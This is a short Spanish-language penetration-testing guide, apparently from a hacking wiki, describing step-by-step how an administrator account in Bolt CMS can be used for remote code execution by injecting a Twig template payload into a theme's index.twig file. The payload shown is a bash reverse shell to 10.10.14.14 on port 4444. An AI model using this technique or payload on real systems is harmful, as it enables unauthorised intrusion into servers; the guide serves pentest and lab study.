Bolt CMS
RCE
Después de iniciar sesión como administrador (ve a /bot para acceder al aviso de inicio de sesión), puedes obtener RCE en Bolt CMS:
Selecciona
Configuration
->View Configuration
->Main Configuration
o ve a la ruta de URL/bolt/file-edit/config?file=/bolt/config.yaml
Verifica el valor del tema
Selecciona
File management
->View & edit templates
Selecciona la base del tema encontrada en el paso anterior (
base-2021
en este caso) y seleccionaindex.twig
En mi caso, esto está en la ruta de URL /bolt/file-edit/themes?file=/base-2021/index.twig
Establece tu payload en este archivo a través de template injection (Twig), como:
{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}
Y guarda los cambios
Limpia la caché en
Maintenance
->Clear the cache
Accede nuevamente a la página como un usuario regular, y el payload debería ejecutarse
Last updated